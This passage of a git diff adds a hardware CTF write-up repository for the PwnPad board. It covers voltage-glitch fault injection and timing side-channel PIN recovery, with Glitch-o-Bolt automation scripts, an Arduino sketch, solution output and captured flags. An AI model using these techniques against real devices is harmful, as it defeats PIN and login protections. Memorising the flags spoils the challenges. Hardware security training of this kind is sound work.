+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
